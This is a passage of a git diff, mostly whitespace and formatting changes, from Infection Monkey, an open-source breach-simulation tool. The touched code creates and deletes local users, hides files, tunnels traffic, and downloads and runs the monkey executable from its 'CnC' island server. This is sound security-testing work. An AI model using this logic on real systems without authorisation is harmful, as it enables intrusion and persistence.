ecfd313d782..3fbfc5bdbc1 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -27,9 +27,9 @@ def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=""): sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((adapter, MCAST_PORT)) sock.setsockopt( - socket.IPPROTO_IP, - socket.IP_ADD_MEMBERSHIP, - struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY), + socket.IPPROTO_IP, + socket.IP_ADD_MEMBERSHIP, + struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY), ) return sock @@ -138,14 +138,14 @@ def run(self): return proxy = self._proxy_class( - local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port + local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port ) LOG.info( - "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", - proxy.__class__.__name__, - self.local_port, - self._target_addr, - self._target_port, + "Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s", + proxy.__class__.__name__, + self.local_port, + self._target_addr, + self._target_port, ) proxy.start() @@ -157,7 +157,7 @@ def run(self): if ip_match: answer = "%s:%d" % (ip_match, self.local_port) LOG.debug( - "Got tunnel request from %s, answering with %s", address[0], answer + "Got tunnel request from %s, answering with %s", address[0], answer ) self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT)) elif b"+" == search: diff --git a/monkey/infection_monkey/utils/hidden_files.py b/monkey/infection_monkey/utils/hidden_files.py index 335619ab4f8..cc973cc5ebe 100644 --- a/monkey/infection_monkey/utils/hidden_files.py +++ b/monkey/infection_monkey/utils/hidden_files.py @@ -27,8 +27,8 @@ def get_commands_to_hide_folders(): def cleanup_hidden_files(is_windows=is_windows_os()): subprocess.run( - get_windows_commands_to_delete() - if is_windows # noqa: DUO116 - else " ".join(get_linux_commands_to_delete()), - shell=True, + get_windows_commands_to_delete() + if is_windows # noqa: DUO116 + else " ".join(get_linux_commands_to_delete()), + shell=True, ) diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index a2ece7df8e7..b82f5db07a3 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -41,10 +41,10 @@ def __init__(self, username, password): commands_to_add_user = get_linux_commands_to_add_user(username) logger.debug( - "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) + "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) ) _ = subprocess.check_output( - " ".join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True + " ".join(commands_to_add_user), stderr=subprocess.STDOUT, shell=True ) def __enter__(self): @@ -52,7 +52,7 @@ def __enter__(self): def run_as(self, command): command_as_new_user = "sudo -u {username} {command}".format( - username=self.username, command=command + username=self.username, command=command ) return os.system(command_as_new_user) @@ -60,10 +60,10 @@ def __exit__(self, exc_type, exc_val, exc_tb): # delete the user. commands_to_delete_user = get_linux_commands_to_delete_user(self.username) logger.debug( - "Trying to delete {} with commands {}".format( - self.username, str(commands_to_delete_user) - ) + "Trying to delete {} with commands {}".format( + self.username, str(commands_to_delete_user) + ) ) _ = subprocess.check_output( - " ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True + " ".join(commands_to_delete_user), stderr=subprocess.STDOUT, shell=True ) diff --git a/monkey/infection_monkey/utils/plugins/plugin.py b/monkey/infection_monkey/utils/plugins/plugin.py index a37b1674aca..f72585cd3df 100644 --- a/monkey/infection_monkey/utils/plugins/plugin.py +++ b/monkey/infection_monkey/utils/plugins/plugin.py @@ -33,7 +33,7 @@ def get_classes(cls) -> Sequence[Callable]: objects = [] candidate_files = _get_candidate_files(cls.base_package_file()) LOG.info( - "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) + "looking for classes of type {} in {}".format(cls.__name__, cls.base_package_name()) ) # Go through all of files for file in candidate_files: @@ -55,9 +55,9 @@ def get_classes(cls) -> Sequence[Callable]: LOG.debug("Added {} to list".format(class_object.__name__)) except Exception as e: LOG.warning( - "Exception {} when checking if {} should run".format( - str(e), class_object.__name__ - ) + "Exception {} when checking if {} should run".format( + str(e), class_object.__name__ + ) ) return objects @@ -76,7 +76,7 @@ def get_instances(cls) -> Sequence[Type[PluginType]]: instances.append(instance) except Exception as e: LOG.warning( - "Exception {} when initializing {}".format(str(e), class_object.__name__) + "Exception {} when initializing {}".format(str(e), class_object.__name__) ) return instances diff --git a/monkey/infection_monkey/utils/windows/hidden_files.py b/monkey/infection_monkey/utils/windows/hidden_files.py index 55e22d6acf3..818c88a6e35 100644 --- a/monkey/infection_monkey/utils/windows/hidden_files.py +++ b/monkey/infection_monkey/utils/windows/hidden_files.py @@ -53,13 +53,13 @@ def get_winAPI_to_hide_files(): fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden win32file.CreateFile( - HIDDEN_FILE_WINAPI, - fileAccess, - 0, # sharing mode: 0 => can't be shared - None, # security attributes - fileCreation, - fileFlags, - 0, + HIDDEN_FILE_WINAPI, + fileAccess, + 0, # sharing mode: 0 => can't be shared + None, # security attributes + fileCreation, + fileFlags, + 0, ) # template file return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index 8178d75df76..65c9c71d17f 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -50,12 +50,12 @@ def __enter__(self): # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf # -winbase-logonusera self.logon_handle = win32security.LogonUser( - self.username, - ".", # Use current domain. - self.password, - win32con.LOGON32_LOGON_INTERACTIVE, - # Logon type - interactive (normal user), since we're using a shell. - win32con.LOGON32_PROVIDER_DEFAULT, + self.username, + ".", # Use current domain. + self.password, + win32con.LOGON32_LOGON_INTERACTIVE, + # Logon type - interactive (normal user), since we're using a shell. + win32con.LOGON32_PROVIDER_DEFAULT, ) # Which logon provider to use - whatever Windows offers. except Exception as err: raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err))) @@ -76,14 +76,13 @@ def run_as(self, command): # Open process as that user # https://github.com/tjguk/winsys/blob/master/winsys/_advapi32.py proc_info = _advapi32.CreateProcessWithLogonW( - username=self.username, domain=".", password=self.password, command_line=command + username=self.username, domain=".", password=self.password, command_line=command ) process_handle = proc_info.hProcess thread_handle = proc_info.hThread logger.debug( - "Waiting for process to finish. Timeout: {}ms".format( - WAIT_TIMEOUT_IN_MILLISECONDS) + "Waiting for process to finish. Timeout: {}ms".format(WAIT_TIMEOUT_IN_MILLISECONDS) ) # https://social.msdn.microsoft.com/Forums/vstudio/en-US/b6d6a7ae-71e9-4edb-ac8f @@ -92,9 +91,9 @@ def run_as(self, command): # Ignoring return code, as we'll use `GetExitCode` to determine the state of the # process later. _ = win32event.WaitForSingleObject( - # Waits until the specified object is signaled, or time-out. - process_handle, # Ping process handle - WAIT_TIMEOUT_IN_MILLISECONDS, # Timeout in milliseconds + # Waits until the specified object is signaled, or time-out. + process_handle, # Ping process handle + WAIT_TIMEOUT_IN_MILLISECONDS, # Timeout in milliseconds ) exit_code = win32process.GetExitCodeProcess(process_handle) @@ -124,12 +123,12 @@ def try_deactivate_user(self): try: commands_to_deactivate_user = get_windows_commands_to_deactivate_user(self.username) logger.debug( - "Trying to deactivate {} with commands {}".format( - self.username, str(commands_to_deactivate_user) - ) + "Trying to deactivate {} with commands {}".format( + self.username, str(commands_to_deactivate_user) + ) ) _ = subprocess.check_output( - commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True + commands_to_deactivate_user, stderr=subprocess.STDOUT, shell=True ) except Exception as err: raise NewUserError("Can't deactivate user {}. Info: {}".format(self.username, err)) @@ -138,12 +137,12 @@ def try_delete_user(self): try: commands_to_delete_user = get_windows_commands_to_delete_user(self.username) logger.debug( - "Trying to delete {} with commands {}".format( - self.username, str(commands_to_delete_user) - ) + "Trying to delete {} with commands {}".format( + self.username, str(commands_to_delete_user) + ) ) _ = subprocess.check_output( - commands_to_delete_user, stderr=subprocess.STDOUT, shell=True + commands_to_delete_user, stderr=subprocess.STDOUT, shell=True ) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 69732157784..cea71a3267c 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -34,7 +34,7 @@ def upgrade(opts): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: with open( - WormConfiguration.dropper_target_path_win_64, "wb" + WormConfiguration.dropper_target_path_win_64, "wb" ) as written_monkey_file: shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) except (IOError, AttributeError) as e: @@ -42,29 +42,28 @@ def upgrade(opts): return monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, opts.depth + opts.parent, opts.tunnel, opts.server, opts.depth ) monkey_cmdline = ( - MONKEY_CMDLINE_WINDOWS % { - "monkey_path":WormConfiguration.dropper_target_path_win_64} - + monkey_options + MONKEY_CMDLINE_WINDOWS % {"monkey_path": WormConfiguration.dropper_target_path_win_64} + + monkey_options ) monkey_process = subprocess.Popen( - monkey_cmdline, - shell=True, - stdin=None, - stdout=None, - stderr=None, - close_fds=True, - creationflags=DETACHED_PROCESS, + monkey_cmdline, + shell=True, + stdin=None, + stdout=None, + stderr=None, + close_fds=True, + creationflags=DETACHED_PROCESS, ) LOG.info( - "Executed 64bit monkey process (PID=%d) with command line: %s", - monkey_process.pid, - monkey_cmdline, + "Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, + monkey_cmdline, ) time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index bbd06b9a7d9..1d9b7ce799c 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -66,11 +66,11 @@ def serve_static_file(static_path): # intention. if static_path == HOME_FILE: flask_restful.abort( - Response( - "Page not found. Make sure you ran the npm script and the cwd is " - "monkey\\monkey.", - 500, - ) + Response( + "Page not found. Make sure you ran the npm script and the cwd is " + "monkey\\monkey.", + 500, + ) ) return serve_home() @@ -125,15 +125,15 @@ def init_api_resources(api): api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") api.add_resource( - Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" + Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" ) api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") api.add_resource( - MonkeyDownload, - "/api/monkey/download", - "/api/monkey/download/", - "/api/monkey/download/", + MonkeyDownload, + "/api/monkey/download", + "/api/monkey/download/", + "/api/monkey/download/", ) api.add_resource(NetMap, "/api/netmap", "/api/netmap/") api.add_resource(Edge, "/api/netmap/edge", "/api/netmap/edge/") @@ -151,10 +151,10 @@ def init_api_resources(api): api.add_resource(PBAFileDownload, "/api/pba/download/") api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) api.add_resource( - FileUpload, - "/api/fileUpload/", - "/api/fileUpload/?load=", - "/api/fileUpload/?restore=", + FileUpload, + "/api/fileUpload/", + "/api/fileUpload/?load=", + "/api/fileUpload/?restore=", ) api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") api.add_resource(AttackConfiguration, "/api/attack") @@ -175,7 +175,7 @@ def init_app(mongo_url): app = Flask(__name__) api = flask_restful.Api(app) - api.representations = {"application/json":output_json} + api.representations = {"application/json": output_json} init_app_config(app, mongo_url) init_app_services(app) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 3785b01b1e0..91a2b7d25fd 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -17,28 +17,28 @@ def parse_cli_args() -> IslandArgs: import argparse parser = argparse.ArgumentParser( - description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", - formatter_class=argparse.ArgumentDefaultsHelpFormatter, + description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", + formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument( - "-s", - "--setup-only", - action="store_true", - help="Pass this flag to cause the Island to setup and exit without actually starting. " - "This is useful for preparing Island to boot faster later-on, so for " - "compiling/packaging Islands.", + "-s", + "--setup-only", + action="store_true", + help="Pass this flag to cause the Island to setup and exit without actually starting. " + "This is useful for preparing Island to boot faster later-on, so for " + "compiling/packaging Islands.", ) parser.add_argument( - "--server-config", - action="store", - help="The path to the server configuration file.", - default=DEFAULT_SERVER_CONFIG_PATH, + "--server-config", + action="store", + help="The path to the server configuration file.", + default=DEFAULT_SERVER_CONFIG_PATH, ) parser.add_argument( - "--logger-config", - action="store", - help="The path to the logging configuration file.", - default=DEFAULT_LOGGER_CONFIG_PATH, + "--logger-config", + action="store", + help="The path to the logging configuration file.", + default=DEFAULT_LOGGER_CONFIG_PATH, ) args = parser.parse_args() diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 4d04b70ee03..61242842868 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -23,8 +23,8 @@ class Environment(object, metaclass=ABCMeta): _MONGO_DB_HOST = "localhost" _MONGO_DB_PORT = 27017 _MONGO_URL = os.environ.get( - "MONKEY_MONGO_URL", - "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)), + "MONKEY_MONGO_URL", + "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME)), ) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(minutes=30) @@ -62,12 +62,12 @@ def try_add_user(self, credentials: UserCreds): def _try_needs_registration(self) -> bool: if not self._credentials_required: raise CredentialsNotRequiredError( - "Credentials are not required " "for current environment." + "Credentials are not required " "for current environment." ) else: if self._is_registered(): raise AlreadyRegisteredError( - "User has already been registered. " "Reset credentials or login." + "User has already been registered. " "Reset credentials or login." ) return True diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 2a5a02cfcb6..70d27e54673 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -58,12 +58,12 @@ def save_to_file(self): def to_dict(self) -> Dict: config_dict = { - "server_config":self.server_config, - "deployment":self.deployment, - "data_dir":self.data_dir, + "server_config": self.server_config, + "deployment": self.deployment, + "data_dir": self.data_dir, } if self.aws: - config_dict.update({"aws":self.aws}) + config_dict.update({"aws": self.aws}) config_dict.update(self.user_creds.to_dict()) return config_dict diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 695a4d393f5..e7e316ac54d 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -13,9 +13,9 @@ PASSWORD = "password" ENV_DICT = { - STANDARD:standard.StandardEnvironment, - AWS:aws.AwsEnvironment, - PASSWORD:password.PasswordEnvironment, + STANDARD: standard.StandardEnvironment, + AWS: aws.AwsEnvironment, + PASSWORD: password.PasswordEnvironment, } env = None diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py index fbb23335fbe..dbf98eefe17 100644 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ b/monkey/monkey_island/cc/environment/test__init__.py @@ -19,7 +19,7 @@ NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") STANDARD_WITH_CREDENTIALS = os.path.join( - TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" + TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) STANDARD_ENV = os.path.join(TEST_RESOURCES_DIR, "server_config_standard_env.json") @@ -132,7 +132,7 @@ def test_is_credentials_set_up(self): self._test_bool_env_method("_is_credentials_set_up", env, STANDARD_ENV, False) def _test_bool_env_method( - self, method_name: str, env: Environment, config: Dict, expected_result: bool + self, method_name: str, env: Environment, config: Dict, expected_result: bool ): env._config = EnvironmentConfig(config) method = getattr(env, method_name) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index d758fe69aaf..9bf6bfc2bf5 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -14,7 +14,7 @@ NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") STANDARD_WITH_CREDENTIALS = os.path.join( - TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" + TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" ) WITH_DATA_DIR = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir.json") WITH_DATA_DIR_HOME = os.path.join(TEST_RESOURCES_DIR, "server_config_with_data_dir_home.json") diff --git a/monkey/monkey_island/cc/environment/test_user_creds.py b/monkey/monkey_island/cc/environment/test_user_creds.py index e4764930f4c..93da16e24ef 100644 --- a/monkey/monkey_island/cc/environment/test_user_creds.py +++ b/monkey/monkey_island/cc/environment/test_user_creds.py @@ -9,13 +9,13 @@ def test_to_dict(self): self.assertDictEqual(user_creds.to_dict(), {}) user_creds = UserCreds(username="Test") - self.assertDictEqual(user_creds.to_dict(), {"user":"Test"}) + self.assertDictEqual(user_creds.to_dict(), {"user": "Test"}) user_creds = UserCreds(password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {"password_hash":"abc1231234"}) + self.assertDictEqual(user_creds.to_dict(), {"password_hash": "abc1231234"}) user_creds = UserCreds(username="Test", password_hash="abc1231234") - self.assertDictEqual(user_creds.to_dict(), {"user":"Test", "password_hash":"abc1231234"}) + self.assertDictEqual(user_creds.to_dict(), {"user": "Test", "password_hash": "abc1231234"}) def test_to_auth_user(self): user_creds = UserCreds(username="Test", password_hash="abc1231234") diff --git a/monkey/monkey_island/cc/environment/user_creds.py b/monkey/monkey_island/cc/environment/user_creds.py index c166802a362..98a23a14a08 100644 --- a/monkey/monkey_island/cc/environment/user_creds.py +++ b/monkey/monkey_island/cc/environment/user_creds.py @@ -17,9 +17,9 @@ def __bool__(self) -> bool: def to_dict(self) -> Dict: cred_dict = {} if self.username: - cred_dict.update({"user":self.username}) + cred_dict.update({"user": self.username}) if self.password_hash: - cred_dict.update({"password_hash":self.password_hash}) + cred_dict.update({"password_hash": self.password_hash}) return cred_dict def to_auth_user(self) -> User: diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 3461f3c4275..ba5ee856cb8 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -40,7 +40,7 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_P mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread( - target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True + target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True ) bootloader_server_thread.start() @@ -69,10 +69,10 @@ def start_island_server(should_setup_only): app.run(host="0.0.0.0", debug=True, ssl_context=(crt_path, key_path)) else: http_server = WSGIServer( - ("0.0.0.0", env_singleton.env.get_island_port()), - app, - certfile=os.environ.get("SERVER_CRT", crt_path), - keyfile=os.environ.get("SERVER_KEY", key_path), + ("0.0.0.0", env_singleton.env.get_island_port()), + app, + certfile=os.environ.get("SERVER_CRT", crt_path), + keyfile=os.environ.get("SERVER_KEY", key_path), ) log_init_info() http_server.serve_forever() @@ -82,14 +82,14 @@ def log_init_info(): logger.info("Monkey Island Server is running!") logger.info(f"version: {get_version()}") logger.info( - "Listening on the following URLs: {}".format( - ", ".join( - [ - "https://{}:{}".format(x, env_singleton.env.get_island_port()) - for x in local_ip_addresses() - ] - ) + "Listening on the following URLs: {}".format( + ", ".join( + [ + "https://{}:{}".format(x, env_singleton.env.get_island_port()) + for x in local_ip_addresses() + ] ) + ) ) MonkeyDownload.log_executable_hashes() @@ -110,9 +110,9 @@ def assert_mongo_db_version(mongo_url): server_version = get_db_version(mongo_url) if server_version < required_version: logger.error( - "Mongo DB version too old. {0} is required, but got {1}".format( - str(required_version), str(server_version) - ) + "Mongo DB version too old. {0} is required, but got {1}".format( + str(required_version), str(server_version) + ) ) sys.exit(-1) else: diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 1beccd40da7..602d815c416 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -13,7 +13,7 @@ from .pba_results import PbaResults # noqa: F401 connect( - db=env_singleton.env.mongo_db_name, - host=env_singleton.env.mongo_db_host, - port=env_singleton.env.mongo_db_port, + db=env_singleton.env.mongo_db_name, + host=env_singleton.env.mongo_db_host, + port=env_singleton.env.mongo_db_port, ) diff --git a/monkey/monkey_island/cc/models/attack/attack_mitigations.py b/monkey/monkey_island/cc/models/attack/attack_mitigations.py index 2a4e8f70e44..271b68461bb 100644 --- a/monkey/monkey_island/cc/models/attack/attack_mitigations.py +++ b/monkey/monkey_island/cc/models/attack/attack_mitigations.py @@ -38,13 +38,13 @@ def add_no_mitigations_info(self, mitigation: CourseOfAction): @staticmethod def mitigations_from_attack_pattern(attack_pattern: AttackPattern): return AttackMitigations( - technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), - mitigations=[], + technique_id=MitreApiInterface.get_stix2_external_reference_id(attack_pattern), + mitigations=[], ) @staticmethod def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]): return { - key:AttackMitigations.mitigations_from_attack_pattern(attack_pattern) + key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) for key, attack_pattern in stix2_dict.items() } diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py index cb919cc580d..f4af7b4003c 100644 --- a/monkey/monkey_island/cc/models/config.py +++ b/monkey/monkey_island/cc/models/config.py @@ -8,5 +8,5 @@ class Config(EmbeddedDocument): See https://mongoengine-odm.readthedocs.io/apireference.html#mongoengine.FieldDoesNotExist """ - meta = {"strict":False} + meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/models/creds.py b/monkey/monkey_island/cc/models/creds.py index fd12cb6f44b..d0861846d87 100644 --- a/monkey/monkey_island/cc/models/creds.py +++ b/monkey/monkey_island/cc/models/creds.py @@ -6,5 +6,5 @@ class Creds(EmbeddedDocument): TODO get an example of this data, and make it strict """ - meta = {"strict":False} + meta = {"strict": False} pass diff --git a/monkey/monkey_island/cc/models/edge.py b/monkey/monkey_island/cc/models/edge.py index c5af094553f..88858cfcb28 100644 --- a/monkey/monkey_island/cc/models/edge.py +++ b/monkey/monkey_island/cc/models/edge.py @@ -2,7 +2,7 @@ class Edge(Document): - meta = {"allow_inheritance":True} + meta = {"allow_inheritance": True} # SCHEMA src_node_id = ObjectIdField(required=True) diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index 59d77b48426..e580d65ba69 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -59,11 +59,11 @@ class Monkey(Document): # Environment related fields environment = StringField( - default=environment_names.Environment.UNKNOWN.value, - choices=environment_names.ALL_ENVIRONMENTS_NAMES, + default=environment_names.Environment.UNKNOWN.value, + choices=environment_names.ALL_ENVIRONMENTS_NAMES, ) aws_instance_id = StringField( - required=False + required=False ) # This field only exists when the monkey is running on an AWS # instance. See https://github.com/guardicore/monkey/issues/426. @@ -146,11 +146,11 @@ def get_network_info(self): Formats network info from monkey's model :return: dictionary with an array of IP's and a hostname """ - return {"ips":self.ip_addresses, "hostname":self.hostname} + return {"ips": self.ip_addresses, "hostname": self.hostname} @ring.lru( - expire=1 - # data has TTL of 1 second. This is useful for rapid calls for report generation. + expire=1 + # data has TTL of 1 second. This is useful for rapid calls for report generation. ) @staticmethod def is_monkey(object_id): diff --git a/monkey/monkey_island/cc/models/monkey_ttl.py b/monkey/monkey_island/cc/models/monkey_ttl.py index 19368261771..74d38c639dd 100644 --- a/monkey/monkey_island/cc/models/monkey_ttl.py +++ b/monkey/monkey_island/cc/models/monkey_ttl.py @@ -31,7 +31,7 @@ def create_ttl_expire_in(expiry_in_seconds): # -documents. return MonkeyTtl(expire_at=datetime.utcnow() + timedelta(seconds=expiry_in_seconds)) - meta = {"indexes":[{"name":"TTL_index", "fields":["expire_at"], "expireAfterSeconds":0}]} + meta = {"indexes": [{"name": "TTL_index", "fields": ["expire_at"], "expireAfterSeconds": 0}]} expire_at = DateTimeField() diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index 2d802f00f79..92ad2fb909c 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -67,8 +67,8 @@ def test_get_single_monkey_by_id(self): @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_get_os(self): linux_monkey = Monkey( - guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu", + guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu", ) windows_monkey = Monkey(guid=str(uuid.uuid4()), description="Windows bla bla bla") unknown_monkey = Monkey(guid=str(uuid.uuid4()), description="bla bla bla") @@ -84,20 +84,20 @@ def test_get_os(self): def test_get_tunneled_monkeys(self): linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") windows_monkey = Monkey( - guid=str(uuid.uuid4()), description="Windows bla bla bla", tunnel=linux_monkey + guid=str(uuid.uuid4()), description="Windows bla bla bla", tunnel=linux_monkey ) unknown_monkey = Monkey( - guid=str(uuid.uuid4()), description="bla bla bla", tunnel=windows_monkey + guid=str(uuid.uuid4()), description="bla bla bla", tunnel=windows_monkey ) linux_monkey.save() windows_monkey.save() unknown_monkey.save() tunneled_monkeys = Monkey.get_tunneled_monkeys() test = bool( - windows_monkey in tunneled_monkeys - and unknown_monkey in tunneled_monkeys - and linux_monkey not in tunneled_monkeys - and len(tunneled_monkeys) == 2 + windows_monkey in tunneled_monkeys + and unknown_monkey in tunneled_monkeys + and linux_monkey not in tunneled_monkeys + and len(tunneled_monkeys) == 2 ) assert test @@ -106,10 +106,10 @@ def test_get_label_by_id(self): hostname_example = "a_hostname" ip_example = "1.1.1.1" linux_monkey = Monkey( - guid=str(uuid.uuid4()), - description="Linux shay-Virtual-Machine", - hostname=hostname_example, - ip_addresses=[ip_example], + guid=str(uuid.uuid4()), + description="Linux shay-Virtual-Machine", + hostname=hostname_example, + ip_addresses=[ip_example], ) linux_monkey.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 74660da50d6..b1508430f6d 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -34,7 +34,7 @@ class Finding(Document): """ # http://docs.mongoengine.org/guide/defining-documents.html#document-inheritance - meta = {"allow_inheritance":True} + meta = {"allow_inheritance": True} # SCHEMA test = StringField(required=True, choices=zero_trust_consts.TESTS) diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py index 7fd16de9d4f..174a68db7d9 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -13,7 +13,7 @@ class ScoutSuiteFinding(Finding): @staticmethod def save_finding( - test: str, status: str, detail_ref: ScoutSuiteFindingDetails + test: str, status: str, detail_ref: ScoutSuiteFindingDetails ) -> ScoutSuiteFinding: finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref) finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index 4fabe2eea92..653be95ec08 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -9,18 +9,17 @@ class TestEvent: def test_create_event(self): with pytest.raises(ValidationError): _ = Event.create_event( - title=None, # title required - message="bla bla", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title=None, # title required + message="bla bla", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) with pytest.raises(ValidationError): _ = Event.create_event( - title="skjs", message="bla bla", event_type="Unknown" # Unknown event type + title="skjs", message="bla bla", event_type="Unknown" # Unknown event type ) # Assert that nothing is raised. _ = Event.create_event( - title="skjs", message="bla bla", - 